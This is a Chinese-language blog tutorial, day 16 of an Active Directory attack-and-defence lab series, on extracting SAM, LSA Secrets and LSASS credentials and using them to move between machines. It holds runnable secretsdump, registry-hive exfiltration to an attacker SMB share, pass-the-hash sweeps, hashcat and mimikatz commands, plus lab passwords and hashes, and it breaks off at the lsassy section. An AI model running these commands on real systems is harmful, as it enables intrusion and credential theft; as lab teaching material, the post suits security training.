iT邦幫忙

2025 iThome 鐵人賽

DAY 16
0
Security

資安這條路:AD 攻防實戰演練系列 第 16

AD 攻防實戰演練 Day 16:橫向移動進階技術 - SAM/LSA/LSASS 憑證提取與多種橫向移動方法

  • 分享至 

  • xImage
  •  

在 Day 10 我們學習了:

  • Pass-the-Hash 的基本原理
  • secretsdump 提取 SAM 資料庫
  • 基礎橫向移動工具 (PsExec/WmiExec/SMBExec/Evil-WinRM)

在 Day 11 我們學習了:

  • Pass-the-Ticket 與 Kerberos 票證機制
  • Overpass-the-Hash (NT Hash → TGT)
  • 票證提取與格式轉換

今天 Day 16,我們要深入探討 Day 10/11 沒有涵蓋的進階技術:

  • LSASS 記憶體傾印 - 使用 lsassy 遠端提取活躍憑證
  • LSA Secrets 深度解析 - 機器帳號、服務密碼、DCC2
  • AtExec 與 DcomExec - 特殊的橫向移動工具
  • RDP Pass-the-Hash - Restricted Admin Mode 完整流程
  • Pass-the-Certificate - 結合 ADCS 的橫向移動

學習目標

在完成今天的實作後,將能夠:

  • 理解 Windows 憑證儲存的三大位置 (SAM/LSA/LSASS)
  • 使用 secretsdump 提取 SAM 和 LSA Secrets
  • 使用 lsassy 進行遠端 LSASS 記憶體傾印
  • 掌握 7 種以上的橫向移動技術
  • 理解 LM/NT/NTLM/NetNTLMv1/NetNTLMv2 的差異
  • 判斷不同橫向移動技術的隱蔽性與偵測難度
  • 使用 Pass-the-Certificate 進行橫向移動

前置準備

在開始之前,確保已經完成:

  • 已完成 Day 1-15 的所有練習
  • 擁有至少一個受控機器的管理員權限
  • 測試憑證:
    • jeor.mormont:_L0ngCl@w_ (CASTELBLACK 的管理員)
    • catelyn.stark:robbsansabradonaryarickon (高權限域使用者)
  • 工具準備:
    # 確認 Impacket 工具完整
    which secretsdump.py
    which psexec.py
    which wmiexec.py
    which smbexec.py
    which atexec.py
    which dcomexec.py
    
    # 安裝 lsassy
    pip3 install lsassy
    
    # 安裝 Evil-WinRM
    sudo gem install evil-winrm
    

Windows 憑證儲存的三大聖地

我們再次理解 Windows 系統中儲存憑證的三個關鍵位置。

就像是在打寶遊戲中尋找寶箱,你必須知道寶藏藏在哪裡才能嘗試它們。

憑證儲存架構概覽

Windows 憑證儲存
├── SAM (Security Account Manager)
│   ├── 位置: C:\Windows\System32\config\SAM
│   ├── 註冊表: HKLM\SAM
│   ├── 內容: 本機帳號的 LM/NT Hash
│   └── 用途: 本機認證、Password Reuse 攻擊
│
├── LSA Secrets (Local Security Authority)
│   ├── 位置: C:\Windows\System32\config\SECURITY
│   ├── 註冊表: HKLM\SECURITY
│   ├── 內容:
│   │   ├── 快取的域憑證 (DCC2)
│   │   ├── 機器帳號密碼
│   │   ├── 服務帳號密碼
│   │   ├── DPAPI 主密鑰
│   │   └── 自動登入密碼
│   └── 用途: 離線域認證、服務帳號利用
│
└── LSASS (Local Security Authority Subsystem Service)
    ├── 位置: 記憶體中的 lsass.exe (本機安全性授權子系統服務)
    ├── 內容:
    │   ├── 明文密碼 (如果啟用 WDigest)
    │   ├── NT Hash
    │   ├── Kerberos TGT/TGS
    │   ├── AES Keys
    │   └── CredSSP 憑證
    └── 用途: 即時橫向移動、Pass-the-Ticket

憑證類型對比

憑證類型 儲存位置 可否 PTH 可否 PTT 破解難度 橫向移動價值
NT Hash SAM/LSA/LSASS 🔴 高
LM Hash SAM (舊系統) 🟡 中
DCC2 LSA Secrets 極高 🟢 低 (需破解)
TGT LSASS - 🔴 極高
TGS LSASS - 🟡 中
AES Key LSASS - 🔴 高
明文密碼 LSASS (舊系統) - 🔴 極高

第一部分:SAM 資料庫提取

SAM 資料庫基礎知識

Security Account Manager (SAM) 是 Windows 系統用來儲存本機使用者帳號和安全描述符的資料庫。

關鍵特性:

  • 儲存所有本機帳號的密碼 Hash (不包含域帳號)
  • 位置: C:\Windows\System32\config\SAM
  • 註冊表掛載點: HKLM\SAM
  • 需要配合 SYSTEM 檔案才能解密

為什麼需要 SYSTEM 檔案?

SAM 資料庫的內容使用 SYSKEY 加密,這個密鑰儲存在 SYSTEM 檔案中:

  • 位置: C:\Windows\System32\config\SYSTEM
  • 註冊表: HKLM\SYSTEM
  • 包含: BootKey (用於解密 SAM)

方法 1: 使用 secretsdump 直接提取

最簡單的方法是使用 Impacket 的 secretsdump 工具:

# 遠端提取 SAM (需要管理員權限)
secretsdump.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22

image

預期輸出:

Impacket v0.10.1.dev1+20220912.232454.86a5cbf8 - Copyright 2022 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9753797dfb54be86486d950690bac8ba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

輸出格式解析:

<Username>:<RID>:<LM hash>:<NT hash>:::

以 Administrator 為例:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
  • 使用者名稱: Administrator
  • RID (Relative Identifier): 500 (Administrator 的固定 RID)
  • LM Hash: aad3b435b51404eeaad3b435b51404ee
    • ⚠️ 這個特殊值表示 "空的" 或 "已停用"
    • 從 Windows Vista/Server 2008 開始,LM Hash 預設停用
  • NT Hash: dbd13e1c4e338284ac4e9874f7de6ef4
    • ✅ 這才是我們真正要的!可用於 Pass-the-Hash

方法 2: 手動導出註冊表檔案

如果你已經有一個 Shell,可以手動導出:

步驟 1: 在攻擊機啟動 SMB 伺服器

# 啟動 SMB 伺服器接收檔案
impacket-smbserver share . -smb2support

image

步驟 2: 從目標機器導出註冊表

# 使用 Impacket reg.py (遠端執行)
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SAM' -o '\\192.168.139.136\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.139.136\share'

image

image

或在目標機器的 Windows Shell 中執行:

# 直接在 Windows 上執行
reg save HKLM\SAM c:\temp\sam
reg save HKLM\SYSTEM c:\temp\system

# 傳輸到攻擊機
copy c:\temp\sam \\192.168.139.136\share\
copy c:\temp\system \\192.168.139.136\share\

步驟 3: 本地解密

# 使用 secretsdump 離線解密
secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL

image

本機帳號 vs 域帳號

重要提醒:

帳號類型 儲存位置 範例 適用範圍
本機帳號 SAM 資料庫 Administrator, vagrant 僅該機器
域帳號 域控制器 (NTDS.dit) jeor.mormont, catelyn.stark 整個域
快取的域帳號 LSA Secrets (DCC2 format) 離線認證用

關鍵洞察:

SAM 只儲存本機帳號,但這不代表沒有價值:

  • 密碼重用攻擊
  • 提升到域管理員 (如果密碼相同)

第二部分:密碼重用與 Pass-the-Hash 攻擊

密碼重用的真實場景

在企業環境中,以下情況極為常見:

場景 1: 映像檔複製

IT 部門建立標準映像檔
├── 設定本機 Administrator 密碼: P@ssw0rd123
├── 複製到 100 台伺服器
└── 結果: 100 台機器的本機管理員密碼相同

場景 2: 域控制器提升

CASTELBLACK 機器提升為域控制器前:
├── 本機 Administrator 密碼: MySecretPass
└── 提升為 DC 後:
    ├── 本機 Administrator → 域 Administrator
    └── 密碼保持不變!

防禦方案: LAPS (Local Administrator Password Solution)

LAPS 是什麼?

LAPS(Local Administrator Password Solution,本機系統管理員密碼解決方案) 是微軟推出的工具,用來管理「加入網域的電腦」上的 本機 Administrator 帳號密碼

核心概念

  • 不能讓整個公司所有電腦都用同一組本機管理員密碼(這樣會被 Pass-the-Hash 橫向移動攻擊)。
  • LAPS 會幫每台電腦設定一組 隨機、獨立的本機管理員密碼
  • 這組密碼會安全地存在 Active Directory 的屬性欄位裡,只有有權限的管理員(例如 Helpdesk)能讀取。
  • 電腦自己可以定期更換密碼,並回報到 AD。

舊版與新版差別

  • 舊版 Microsoft LAPS (MSI) 已經 deprecated(淘汰),從 Windows 11 23H2 開始無法安裝。
  • 微軟建議改用 Windows LAPS,它已經內建於 Windows Server 2019+ 以及 Windows 10/11
  • 舊版 LAPS 在舊系統還能繼續用,但只維護到系統 EoS(End of Support)。

LAPS 的運作流程

  1. 在電腦上安裝 LAPS 用的 Group Policy Client-Side Extension (CSE)
  2. 在 GPO 更新時:
    • 檢查本機管理員密碼是否到期。
    • 如果到期就生成新隨機密碼。
    • 驗證密碼是否符合安全政策。
    • 把新密碼寫入 AD 的電腦物件屬性(受 ACL 保護)。
    • 記錄下一次密碼到期時間。
    • 修改本機電腦的 Administrator 密碼。
  3. 有權限的管理員可用工具(例如 PowerShell)讀取密碼或強制重設。

功能與優點

  • 安全性
    • 每台電腦的本機管理員密碼唯一且隨機。
    • 防止 PtH(Pass-the-Hash)橫向移動攻擊。
    • 密碼透過 Kerberos 加密傳輸。
    • 使用 AD ACL 控制誰能讀取。
  • 可管理性
    • 可設定密碼長度、複雜度、到期時間。
    • 可針對單一電腦強制重設。
    • 可透過 PowerShell 等工具管理。
    • 保護電腦帳號不被刪除。
    • 部署簡單,無需額外架構。

Pass-the-Hash (PTH) 基礎

什麼是 Pass-the-Hash?

正常認證流程:

使用者輸入密碼 → 計算 NT Hash → 用於認證

Pass-the-Hash 攻擊:

直接使用竊取的 NT Hash → 用於認證 (跳過需要密碼的步驟!)

為什麼 PTH 可行?

NTLM 認證協定的設計允許使用 Hash 值直接進行 Challenge-Response 認證,而不需要知道原始密碼。

實戰 1: 本機密碼重用檢測

使用 CrackMapExec 批次測試:

# 測試本機 Administrator Hash 在所有機器上的有效性
crackmapexec smb 192.168.139.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth

參數說明:

  • 192.168.139.10-23: 掃描 IP 範圍
  • -u Administrator: 使用 Administrator 帳號
  • -H 'hash': 使用 NT Hash 而非密碼
  • --local-auth: 使用本機認證 (不透過域)

輸出:

image

SMB  192.168.139.22  445  CASTELBLACK    [+] CASTELBLACK\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)
SMB  192.168.139.10  445  KINGSLANDING   [-] SEVENKINGDOMS\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4
SMB  192.168.139.11  445  WINTERFELL     [-] NORTH\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4
SMB  192.168.139.23  445  BRAAVOS        [-] ESSOS\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4

結果分析:

  • ✅ CASTELBLACK: (Pwn3d!) = 有管理員權限
  • ❌ 其他機器: 本機 Administrator 密碼不同

實戰 2: 提升為域管理員

CASTELBLACK 的本機 Administrator Hash 可能就是域的 Administrator Hash!

測試域層級的密碼重用:

# 移除 --local-auth,測試域認證
crackmapexec smb 192.168.139.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'

image

預期輸出:

SMB  192.168.139.11  445  WINTERFELL     [+] north.sevenkingdoms.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)
SMB  192.168.139.22  445  CASTELBLACK    [+] north.sevenkingdoms.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)

從測試結果可以發現我們現在是 north.sevenkingdoms.local 的域管理員!

攻擊鏈總結:

1. 控制 CASTELBLACK (成員伺服器)
   ↓
2. 提取本機 SAM 資料庫
   ↓
3. 獲得本機 Administrator NT Hash
   ↓
4. 測試密碼重用
   ↓
5. 發現域 Administrator 使用相同密碼
   ↓
6. 成為域管理員!

Hash 術語大解密: LM/NT/NTLM/NetNTLMv1/NetNTLMv2/DCC2

Hash 類型完整對比

術語 全名 用途 儲存位置 可否 PTH 可否 Relay Hashcat 模式 備註
LM LAN Manager Hash 舊式密碼 Hash SAM/NTDS.dit ✅ 可 (舊系統) ❌ 不可 3000 Vista/2008+ 預設停用
NT NT Hash(俗稱 NTLM Hash) 現代密碼 Hash SAM/NTDS.dit/LSASS ✅ 可 (PTH 核心) ❌ 不可 1000 MD4 演算法;可 Overpass-the-Hash (NT→TGT)
NetNTLMv1 Net-NTLMv1 Challenge-Response 認證 網路傳輸 (不持久儲存) ❌ 不可 ✅ 可 5500 需破解才能獲得 NT Hash;Relay 要求目標未啟用 SMB Signing
NetNTLMv2 Net-NTLMv2 Challenge-Response 認證 (強化版) 網路傳輸 (不持久儲存) ❌ 不可 ⚠️ 有條件可 5600 Relay 條件:• 目標未啟用 SMB Signing• HTTP/LDAP 未啟用 EPA• LDAPS 需 Drop-the-MIC (CVE-2019-1040)
DCC2 Domain Cached Credentials 2 快取域憑證 SECURITY hive(LSA Secrets) ❌ 不可 ❌ 不可 2100 PBKDF2-HMAC-SHA1 (10240 iterations),極難破解

詳細說明

1. LM Hash (LAN Manager Hash)

特性:

  • Windows NT 到 Windows Server 2003 使用
  • 從 Windows Vista/Server 2008 開始預設停用
  • 極度不安全:
    • 最長 14 字元
    • 全部轉大寫
    • 分成兩段 7 字元獨立加密
    • 每段只有 2^56 種可能 (可暴力破解)

識別方式:

aad3b435b51404eeaad3b435b51404ee

這個特殊值代表 "空的" 或 "已停用"

安全問題:

  • 大小寫不敏感
  • 分段加密使破解更容易
  • 沒有加鹽 (salt)

2. NT Hash (常被稱為 NTLM Hash)

特性:

  • Windows目前使用的密碼 Hash 格式
  • 演算法: MD4(UTF-16-LE(password))
  • 儲存位置:
    • SAM (本機帳號)
    • NTDS.dit (域帳號)
    • LSASS 記憶體 (當前登入會話)

用途:

  • Pass-the-Hash 攻擊的核心
  • ✅ 可用於 Overpass-the-Hash (NT Hash → 獲取 TGT)
  • 不能直接用於 NTLM Relay (Relay 需要 Challenge-Response 格式)

重要釐清:

NT Hash ≠ 可以 Relay
NT Hash = 可以 Pass-the-Hash
NetNTLM = 可以 Relay

範例:

dbd13e1c4e338284ac4e9874f7de6ef4

常見混淆點:

很多人把 NT Hash 叫做 "NTLM Hash",這在技術上不完全準確:

  • 正確: NT Hash 是儲存格式
  • 俗稱: NTLM Hash (因為 NTLM 認證協定會使用它)
  • 建議: 統一稱為 NT Hash 避免混淆

3. NetNTLMv1 (NTLMv1)

特性:

  • NTLM 認證協定中的 Challenge-Response 格式
  • 網路傳輸中使用 (不儲存在磁碟)
  • 基於 DES 加密,相對容易破解

認證流程:

1. 客戶端 → 伺服器: 請求認證
2. 伺服器 → 客戶端: Challenge (8 bytes 隨機數)
3. 客戶端: 使用 NT Hash 加密 Challenge → Response
4. 客戶端 → 伺服器: Response
5. 伺服器: 驗證 Response

來源:

  • Responder/Inveigh 取得
  • NTLM Relay 攻擊中獲得

格式範例:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

格式結構:

username::domain:LM_response:NTLM_response:challenge

用途:

  • ✅ 可以破解獲得明文密碼 (相對容易)
  • ✅ 可以用於 NTLM Relay (如果目標未啟用 SMB Signing)
  • 不能直接用於 PTH (不是 Hash,是 Challenge-Response)

破解範例:

# 使用 hashcat 破解
hashcat -m 5500 netntlmv1.txt /usr/share/wordlists/rockyou.txt

4. NetNTLMv2 (NTLMv2)

特性:

  • NTLMv1 的強化版本
  • 加入:
    • 時間戳 (防重放攻擊)
    • 客戶端挑戰 (額外隨機性)
    • 目標資訊 (Domain/Server/DNS names)
  • 使用 HMAC-MD5,比 NTLMv1 更安全
  • 更難破解但仍可能 (取決於密碼強度)

格式範例:

admin::DOMAIN:1122334455667788:A1B2C3D4E5F6A1B2C3D4E5F6A1B2C3D4:0101000000000000C0653150DE09D201A1B2C3D4E5F6A1B2000000000200120044004F004D00410049004E0001001200530045005200560045005200...

格式結構:

username::domain:challenge:NTProofStr:blob

其中 blob 包含:

  • Response version (0x01010000)
  • Timestamp
  • Client challenge
  • Target information

用途:

  • ✅ 可以破解獲得明文密碼 (較難,需要弱密碼或強大算力)
  • ⚠️ 有條件可用於 NTLM Relay
  • ❌ 不能直接用於 PTH

Relay 條件 (重要!):

NetNTLMv2 可以 Relay,但需要滿足:

目標協定 Relay 條件 繞過方法
SMB 目標未啟用 SMB Signing 無法繞過,簽章強制時不可 Relay
HTTP 未啟用 EPA (Extended Protection) CVE-2019-1040 (Drop-the-MIC)
LDAP 未啟用 LDAP Signing 或 Channel Binding CVE-2019-1040
LDAPS 需繞過 Channel Binding CVE-2019-1040 (Drop-the-MIC)

破解範例:

# 使用 hashcat 破解
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt

5. DCC2 (Domain Cached Credentials 2)

特性:

  • 用於離線域認證 (當 DC 不可達時)
  • 儲存位置: SECURITY hive (LSA Secrets)
  • 演算法: PBKDF2-HMAC-SHA1(MD4(password), username, 10240 iterations)
  • 極難破解 (除非密碼非常弱)

為什麼需要 DCC2?

場景: 員工帶筆電離開公司,無法連線到域控制器

  • 傳統: 無法登入 (需要 DC 驗證)
  • 使用 DCC2: 系統使用快取的憑證進行本地驗證

格式範例:

$DCC2$10240#username#hash

實例:

NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405

用途:

  • 不能用於 Pass-the-Hash
  • ❌ 不能用於 NTLM Relay
  • 只能破解 (但極其困難)

破解難度對比:

Hash 類型 迭代次數 破解速度 (相對) 實際可行性
NTLM 1 100% ✅ 容易
NetNTLMv2 1 ~80% ✅ 可能 (看密碼強度)
DCC2 10,240 ~1% ⚠️ 困難 (弱密碼才可能)

破解範例:

# 使用 hashcat 破解 (極慢!)
hashcat -m 2100 dcc2.txt /usr/share/wordlists/rockyou.txt

# 預期速度 (RTX 3090):
# NTLM: ~100 GH/s
# DCC2: ~1 MH/s (慢 100,000 倍!)

提取 DCC2:

# 使用 secretsdump
secretsdump.py DOMAIN/user:pass@target

# 輸出中的 "Dumping cached domain logon information" 部分即為 DCC2

實用判斷流程圖

你取得/提取到一個 Hash,如何判斷類型?

觀察格式 
├─ 長度 32 字元,純 hex (無分隔符)
│  └─ NT Hash
│     ├─ 儲存在 SAM/NTDS.dit/LSASS
│     ├─ 可以 PTH ✅
│     ├─ 可以 Overpass-the-Hash ✅
│     └─ 不能 Relay ❌
│
├─ 包含 :: 分隔符,很長
│  └─ NetNTLM (Challenge-Response)
│     ├─ 判斷版本: 看 response 部分長度
│     │  ├─ 短 (~48 hex) → NetNTLMv1 (-m 5500)
│     │  └─ 長 (>100) → NetNTLMv2 (-m 5600)
│     ├─ 可以破解 ✅
│     ├─ 可以 Relay ⚠️ (有條件)
│     └─ 不能 PTH ❌
│
└─ 格式 $DCC2$10240#username#hash
   └─ DCC2 (快取憑證)
      ├─ 儲存在 LSA Secrets
      ├─ 只能破解 ✅ (但極難)
      ├─ 不能 PTH ❌
      └─ 不能 Relay ❌

常見錯誤用法更正

❌ 錯誤說法 ✅ 正確說法
"我用 Responder 抓到 NTLM Hash 要做 PTH" "我用 Responder 抓到 NetNTLMv2,要破解Relay"
"我從 SAM 提取的 NetNTLM" "我從 SAM 提取的 NT Hash"
"這個 NetNTLMv2 可以直接 PTH" "這個 NetNTLMv2 需要先破解才能 PTH"
"NTLM Hash 可以 Relay" "NetNTLM 可以 Relay,NT Hash 不行"
"DCC2 可以用於橫向移動" "DCC2 只能破解(且很難),不能直接使用"

攻擊場景對應表

場景 獲得的是... 可用攻擊
提取 SAM 資料庫 NT Hash PTH, Overpass-the-Hash, 破解
提取 NTDS.dit (DCSync) NT Hash PTH, Overpass-the-Hash, 破解
Responder 取得認證 NetNTLMv1/v2 Relay, 破解
LLMNR/NBT-NS 投毒 NetNTLMv1/v2 Relay, 破解
提取 LSA Secrets DCC2 + 機器帳號 NT Hash DCC2 破解(難), 機器帳號可 PTH
LSASS 記憶體傾印 NT Hash + Kerberos 票證 PTH, PTT, 破解
ADCS 攻擊 憑證 (PFX) PTC (獲得 Hash/TGT)

小結: 記住這三點

  1. NT Hash (儲存型) ≠ NetNTLM (傳輸型)
    • NT Hash 在磁碟/記憶體 → 可 PTH
    • NetNTLM 在網路流量 → 可 Relay/破解
  2. Relay 需要 Challenge-Response 格式
    • ✅ NetNTLMv1/v2 可以 Relay
    • ❌ NT Hash 不能直接 Relay
  3. DCC2 是最難破解的 Hash
    • 10,240 次迭代的 PBKDF2
    • 除非密碼極弱,否則不實際
    • 主要價值在於證明帳號存在

第三部分: LSA Secrets 提取

LSA Secrets 是什麼?

Local Security Authority (LSA) 是 Windows 安全子系統的一部分,負責儲存各種敏感資訊。

儲存位置:

  • 檔案: C:\Windows\System32\config\SECURITY
  • 註冊表: HKLM\SECURITY

儲存內容:

LSA Secrets 包含的寶藏
├── 快取的域憑證 (DCC2 Hash)
│   └── 用途: 離線域認證
├── 機器帳號密碼 ($MACHINE.ACC)
│   └── 用途: 機器帳號的 NT Hash
├── 服務帳號密碼 (_SC_*)
│   └── 用途: 服務註冊的明文密碼
├── DPAPI 主密鑰
│   └── 用途: 解密使用者資料
├── NL$KM
│   └── 用途: 快取憑證加密密鑰
└── 自動登入密碼
    └── 用途: 自動登入的明文密碼

提取 LSA Secrets

方法 1: 使用 secretsdump (一次搞定)

secretsdump.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22

image

完整輸出分析:

[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
NORTH.SEVENKINGDOMS.LOCAL/Administrator:$DCC2$10240#Administrator#afb576755bfd2762f808e2e91eb83eb3
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5
NORTH.SEVENKINGDOMS.LOCAL/jeor.mormont:$DCC2$10240#jeor.mormont#36d673a934e86d04ece208fc2ba1d402

DCC2 Hash 詳解:

  • 全名: Domain Cached Credentials 2
  • 用途: 當域控制器不可達時,仍可使用域憑證登入
  • 格式: $DCC2$迭代次數#使用者名稱#hash
  • Hashcat 模式: 2100
  • 特性:
    • ❌ 不能用於 Pass-the-Hash
    • ✅ 可以破解(但非常慢)
    • 破解難度: PBKDF2-HMAC-SHA1 with 10240 iterations

破解 DCC2:

# 儲存 hash
cat > dcc2.hash << 'EOF'
$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
EOF

# 使用 hashcat 破解
hashcat -m 2100 dcc2.hash /usr/share/wordlists/rockyou.txt

# ⚠️ 注意: DCC2 極難破解,除非密碼很弱



# 可以利用底下已經知道明文密碼的 sql 帳號來測試
echo '$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a' > dcc2_hash.txt
echo 'YouWillNotKerboroast1ngMeeeeee' > password.txt
hashcat -m 2100 dcc2_hash.txt password.txt

image

繼續查看 secretsdump 輸出:

[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:3f73496074e4a6bda4eaea54a048eb80790e36e6c1ecaad480cd5a8b1bf4b439
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:064a4d1d1716e0e6ec467f568c8e6cbf
NORTH\CASTELBLACK$:des-cbc-md5:ce1a4c3bdff4a2fb
NORTH\CASTELBLACK$:plain_password_hex:23004c0069005b003600450041004900380024005b002c005400790041006300630030005b002d004b00340052002f0053005200560046005d0059006c00220049005d007700600049005e00550050006e00590055004000450079006700390041004400610041003a002e007a0043005300390078002f0064003f004d004b00630060006000570062007a0067004b006a0025006a007a002e0067003300450057003600610020003f00670020003f002a00600075002c0043002f004d0022005f007300740040003a003b00360075006e0046002f004b0026004200230024005b0028007a005c002a00360058007000
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf:::

image

機器帳號 Hash 用途:

用途 說明 範例
LDAP 查詢 機器帳號也是有效的域帳號 ldapsearch -U 'CASTELBLACK$' -H ...
BloodHound 以機器身份收集資料 bloodhound-python -u 'CASTELBLACK$' -H ...
委派攻擊 如果機器有委派權限 RBCD、Unconstrained Delegation

提取機器帳號 Hash:

機器帳號: CASTELBLACK$
NT Hash: 22d57aa0196b9e885130414dc88d1a95

服務帳號密碼:

[*] _SC_MSSQL$SQLEXPRESS 
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee

關鍵發現:

  • 服務: MSSQL$SQLEXPRESS
  • 帳號: sql_svc
  • 明文密碼: YouWillNotKerboroast1ngMeeeeee

為什麼是明文?

Windows 服務需要儲存帳號密碼以便啟動服務。LSA Secrets 中的 _SC_* 項目包含這些明文密碼。

其他重要資訊:

image

[*] DPAPI_SYSTEM 
dpapi_machinekey:0x8ee2a1f0f4c1689343c9d954b1422661262a52a3
dpapi_userkey:0xad6d3e6789682c3429236b14411f92f406792486

用途: 解密使用者的 DPAPI 保護資料 (瀏覽器密碼、RDP 憑證等)

[*] NL$KM 
 0000   39 FB 46 D8 43 B6 EC E6  DE D7 CE 1C 50 2D AE B4   9.F.C.......P-..
 0010   4F 71 E1 25 BF 5E FB 14  86 14 D6 A3 0F 93 DE 42   Oq.%.^.........B
 ...

用途: 快取域憑證的加密密鑰

方法 2: 手動導出 SECURITY 登錄表

# 步驟 1: 啟動 SMB 伺服器
impacket-smbserver share . -smb2support

# 步驟 2: 導出 SECURITY 和 SYSTEM
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.139.136\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.139.136\share'

image


## 如果下載失敗
# 先用本地路徑儲存
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SYSTEM' -o 'C:\Windows\Temp'

# 然後用 smbclient 下載,記得輸入密碼,密碼不會出現螢幕上
smbclient //192.168.139.22/C$ -U NORTH/jeor.mormont
> cd Windows\Temp
> get SYSTEM.save

image


# 步驟 3: 離線解密
secretsdump.py -security SECURITY.save -system SYSTEM.save LOCAL

image

LSA Secrets 橫向移動路徑

LSA Secrets 提取成功
├── 發現 DCC2 Hash
│   ├── 嘗試破解弱密碼
│   └── 成功 → 獲得域帳號明文密碼
│
├── 發現機器帳號 Hash
│   ├── 使用機器帳號查詢 LDAP
│   ├── 執行 BloodHound 收集
│   └── 檢查是否有委派權限
│
└── 發現服務帳號明文密碼
    ├── 直接使用密碼登入
    ├── 檢查該帳號的域權限
    └── 搜尋密碼重用

實戰案例: 使用機器帳號執行 BloodHound

# 使用提取的機器帳號 Hash
bloodhound-python -u 'CASTELBLACK$' \
  --hashes 'aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf' \
  -d north.sevenkingdoms.local \
  -dc winterfell.north.sevenkingdoms.local \
  -ns 192.168.139.11 \
  -c All
bloodhound-python -u 'CASTELBLACK$' \
  --hashes 'aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf' \
  -d north.sevenkingdoms.local \
  -dc winterfell.north.sevenkingdoms.local \
  -ns 192.168.139.11 \
  -c All
  • -c All:收集所有資訊(最完整)
  • -c DCOnly:只收集 DC 資訊(較快)
  • -c Group,LocalAdmin,Session,Trusts:自定義收集項目

image

預期輸出

成功執行後會生成 JSON 檔案:

INFO: Found AD domain: north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found X computers
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Done in 00M 15S

然後可以將生成的 .json 檔案匯入 BloodHound GUI 進行分析!


第四部分: LSASS 記憶體傾印

LSASS 是什麼?

Local Security Authority Subsystem Service (LSASS) 是 Windows 中負責安全策略和身份驗證的關鍵。

為什麼 LSASS 如此重要?

LSASS.exe 包含
├── 所有登入使用者的憑證
│   ├── 明文密碼 (如果啟用 WDigest)
│   ├── NT Hash
│   ├── Kerberos 票證 (TGT/TGS)
│   ├── AES256/128 Keys
│   └── CredSSP 憑證
│
├── 認證套件
│   ├── MSV1_0 (NTLM)
│   ├── Kerberos
│   ├── WDigest (Windows 7/8)
│   └── CredSSP
│
└── 安全權杖
    └── 用於本地安全驗證

LSASS vs SAM/LSA:

特性 SAM/LSA LSASS
儲存位置 磁碟檔案 記憶體中
包含內容 本機/歷史憑證 目前活躍憑證
提取時機 隨時 需要有活躍登入
價值 極高
偵測難度 高 (防毒會警報)

傳統方法: Mimikatz

最著名的 LSASS 傾印工具:

# 在目標 Windows 機器上執行
mimikatz.exe

# 提升權限
privilege::debug

# 傾印 LSASS
sekurlsa::logonpasswords

# 導出 Kerberos 票證
sekurlsa::tickets /export

問題:

  • ❌ 需要在目標機器上執行
  • ❌ 防毒軟體 100% 會偵測
  • ❌ 留下大量痕跡

現代方法: lsassy (遠端 LSASS 傾印)

lsassy 是什麼?

